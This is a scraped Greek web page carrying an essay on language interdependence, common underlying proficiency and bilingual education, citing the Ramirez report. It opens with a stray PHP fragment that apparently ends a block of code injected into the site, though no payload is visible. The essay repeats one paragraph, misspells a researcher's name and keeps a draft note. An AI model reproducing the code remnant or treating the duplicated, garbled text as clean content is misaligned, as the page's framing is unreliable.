"; echo $rd; } #/0f2490# ?>%'; var small='53%'; var altopen='είναι ανοικτό'; var altclose='είναι κλειστό'; var bildauf='/drallis/site/templates/beez_20/images/plus.png'; var bildzu='/drallis/site/templates/beez_20/images/minus.png'; var rightopen='Άνοιγμα πληροφοριών'; var rightclose='Κλείσιμο πληροφοριών'; var fontSizeTitle='Μέγεθος γραμματοσειράς'; var bigger='Μεγαλύτερο'; var reset='Μηδένισε'; var smaller='Μικρότερο'; var biggerTitle='Αύξηση μεγέθους'; var resetTitle='Επαναφορά του προεπιλεγμένου ύφους'; var smallerTitle='Μείωση μεγέθους';

ΑΛΛΗΛΕΞΑΡΤΗΣΗ ΓΛΩΣΣΩΝ

Αλληλεξάρτηση γλωσσών

Το φαινόμενο της διγλωσσίας έχει εξαπλωθεί σε παγκόσμια κλίμακα καθώς οι κοινωνικοοικονομικές συνθήκες τα τελευταία χρόνια οδήγησαν στο άνοιγμα των συνόρων και σε μετακινήσεις πληθυσμών. Στις περισσότερες χώρες το μεγαλύτερο μέρος του πληθυσμού χρησιμοποιεί δύο  ή περισσότερες γλώσσες  αλλά και στις ομόγλωσσες κοινότητες  οι ομιλητές χρησιμοποιούν διάφορες ποικιλίες γλώσσας ανάλογα με τα κοινωνικά συμφραζόμενα.

Στην Ελλάδα ειδικότερα  τα τελευταία χρόνια διαμορφώνονται συνθήκες πολιτισμικής ετερότητας και το εκπαιδευτικό σύστημα καλείται να διδάξει την ελληνική χωρίς να είναι η μητρική γλώσσα κάποιων μαθητών και με διαφορετικά επίπεδα ελληνομάθειας. Η διδασκαλία στους δίγλωσσους μαθητές θέτει προβληματισμούς καθώς συχνό είναι το φαινόμενο αποτυχίας στην εκμάθηση της γλώσσας στους δίγλωσσους μαθητές. Ο προβληματισμός αυτός εξελίχθηκε σε διαμάχη κυρίως στις Η.Π.Α ανάμεσα σε θεωρητικούς αντίθετους της δίγλωσσης εκπαίδευσης και σε αυτούς που ήταν υπέρμαχοι της εκπαίδευσης αυτής.

Οι πρώτοι θεωρούσαν  ότι ο χρόνος ανά σχολική εργασία («χρόνος ανά σχολικό καθήκον» όπως το όρισε ο  PosuliePedalinoPorter) ή η μέγιστη έκθεση στη νέα γλώσσα σε σχέση με τη μητρική είναι η βασικότερη παράμετρος για την εκμάθησή της. Δηλαδή όσο περισσότερο από μικρή ηλικία έρχεται το παιδί σε επαφή με τη νέα γλώσσα μειώνοντας ταυτόχρονα  στο ελάχιστο την επαφή με την  μητρική του γλώσσα τόσο και θα αναπτύξει καλύτερες επιδεξιότητες και ικανότητα στην νέα γλώσσα. Η άποψη όμως αυτή αμφισβητείται και υποστηρίζεται ότι τα δίγλωσσα προγράμματα που προωθούν την εκπαίδευση και στις δύο γλώσσες ,μητρική και νέα , οδηγεί στην εκμάθηση καλύτερα της νέας γλώσσας και επηρεάζουν θετικά τόσο τη νοητική όσο και τη γλωσσική ανάπτυξη.

Θεωρητικά η παραπάνω άποψη  στηρίζεται στην αρχή της αλληλεξάρτησης των γλωσσών και στο μοντέλο της κοινής υποκείμενης γλωσσικής ικανότητας. Σύμφωνα με το μοντέλο αυτό  υπάρχει μια σημαντική μεταφορά εννοιολογικής γνώσης και δεξιοτήτων από τη μια γλώσσα στην άλλη.

Βασική αρχή είναι πως οι γλώσσες παρόλο που οι επιφανειακές πλευρές των διαφορετικών γλωσσών είναι σαφώς ξεχωριστές υπάρχει στενή σχέση ? όχι προσθετική ,αθροιστική ? τόσο στο επίπεδο της γλωσσικής ανάπτυξης όσο κυρίως στο επίπεδο της γνωστικής ανάπτυξης (εννοιολογική βάση) η οποία καθιστά δυνατή τη μεταφορά των γνωστικών ακαδημαϊκών  δεξιοτήτων σχετικά με το γραπτό λόγο από τη μια γλώσσα στην άλλη.

Όλες οι γλώσσες ανεξάρτητα αν είναι συγγενικές ή όχι  αποτελούν οικοδομήματα που επιτελούν την αποκωδικοποίηση της ανθρώπινης εμπειρίας και πράξης. Καταγράφουν (εμπεριέχουν)έννοιες οι οποίες κατακτούνται σταδιακά από την πρώτη επαφή του ατόμου με το οποιοδήποτε γλωσσικό  περιβάλλον. Έτσι από τη μητρική του γλώσσα το άτομο αποκτά μια εννοιολογική βάση απαραίτητη για την κατανόηση του περιβάλλοντος του. Οι έννοιες αυτές εσωτερικεύονται και κατακτώνται μια φορά καθώς είναι μοναδικές  και παραμένουν στο άτομο ως γνώση που δεν φαίνεται. Έτσι όταν ένα άτομο προσπαθεί να μάθει μια δεύτερη ή τρίτη γλώσσα διευκολύνεται καθώς οι έννοιες που κατακτήσει από την πρώτη του γλώσσα μεταφέρονται στις άλλες γλώσσες ώστε κατέχοντας το εννοιολογικό υπόβαθρο να χρειάζεται απλά να αλλάξει μόνο το κώδικα και να ονοματίσει διαφορετικά  τις ήδη κατακτημένες έννοιες από την πρώτη του γλώσσα

Τα πορίσματα της έρευνας επιβεβαιώνουν την αρχή της αλληλεξάρτησης των γλωσσών  και της κοινής υποκείμενης γλωσσικής ικανότητας  με χαρακτηριστικότερη την έκθεση Ramirez που δόθηκε στην δημοσιότητα από το υπουργείο παιδείας των Η.Π.Α και αφορά δίγλωσσους μαθητές. Σύμφωνα με την έκθεση στους μαθητές  που προσφέρθηκε  ένα ουσιαστικό και συνεχές πρόγραμμα ανάπτυξης της αρχικής τους γλώσσας παράλληλα με τη νέα γλώσσα απέκτησαν δεξιότητες στη δεύτερη γλώσσα περισσότερο γρήγορα απ ότι μαθητές που δεν είχαν καθόλου ή είχαν για μικρό χρονικό διάστημα πρόγραμμα καλλιέργειας της αρχικής τους γλώσσας.

Οι διεθνείς αξιολογήσεις τη δίγλωσσης εκπαίδευσης -αν και όχι καταληκτικά ?τείνουν στο ίδιο συμπέρασμα. Συμπέρασμα:  κάθε άτομο έχει μια κοινή υποκείμενη γλωσσική ικανότητα που μπορεί να καταλαμβάνει όλο το εύρος ή μέρος της εννοιολογικής βάσης των εμπλεκόμενων γλωσσών

Η ανάπτυξη δεξιοτήτων προσθετικής διγλωσσίας (εδώ ίσως και στα παραπάνω πρέπει να εξηγήσω τις σημαίνει προσθετική και   αφαιρετική διγλωσσία)και γραπτού λόγου σε δύο γλώσσες δεν ενέχει καμιά αρνητική συνέπεια για την ακαδημαϊκή , γλωσσική ή πνευματική ανάπτυξη του παιδιού. Αντίθετα τα πορίσματα της έρευνας δείχνουν ότι το δίγλωσσο παιδί ωφελείται γλωσσικά και νοητικά όταν συνεχίζει να αναπτύσσει και τις δύο γλώσσες.

Με αλλά λόγια παρ όλο που οι επιφανειακές πλευρές των διαφορετικών γλωσσών είναι σαφώς ξεχωριστές υπάρχει μια υποκείμενη νοητική ακαδημαϊκή ικανότητα κοινή μεταξύ των γλωσσών η οποία καθιστά δυνατή τη μεταφορά των γνωστικών ακαδημαϊκών δεξιοτήτων σχετικά με το γραπτό λόγο από τη μια στην άλλη γλώσσα. Η εμπειρία σε μια από τις δύο γλώσσες μπορεί να προωθήσει την ανάπτυξη της ικανότητας που ενυπάρχει και στις δύο γλώσσες αν δοθούν τα κατάλληλα κίνητρα και αν υπάρξει έκθεση και στις δύο είτε στο σχολείο είτε στο ευρύτερο περιβάλλον. Υπάρχουν μερικές έννοιες από την πρώτη γλώσσα στα παιδιά που τις χρησιμοποιούν για να αναπτύξουν τη δεύτερη γλώσσα.

Τα πορίσματα της έρευνας επιβεβαιώνουν την αρχή της αλληλεξάρτησης των γλωσσών  και της κοινής υποκείμενης γλωσσικής ικανότητας  με χαρακτηριστικότερη την έκθεση Ramirez που δόθηκε στην δημοσιότητα από το υπουργείο παιδείας των Η.Π.Α και αφορά δίγλωσσους μαθητές. Σύμφωνα με την έκθεση στους μαθητές  που προσφέρθηκε  ένα ουσιαστικό και συνεχές πρόγραμμα ανάπτυξης της αρχικής τους γλώσσας παράλληλα με τη νέα γλώσσα απέκτησαν δεξιότητες στη δεύτερη γλώσσα περισσότερο γρήγορα απ ότι μαθητές που δεν είχαν καθόλου ή είχαν για μικρό χρονικό διάστημα πρόγραμμα καλλιέργειας της αρχικής τους γλώσσας

Ρ.Δ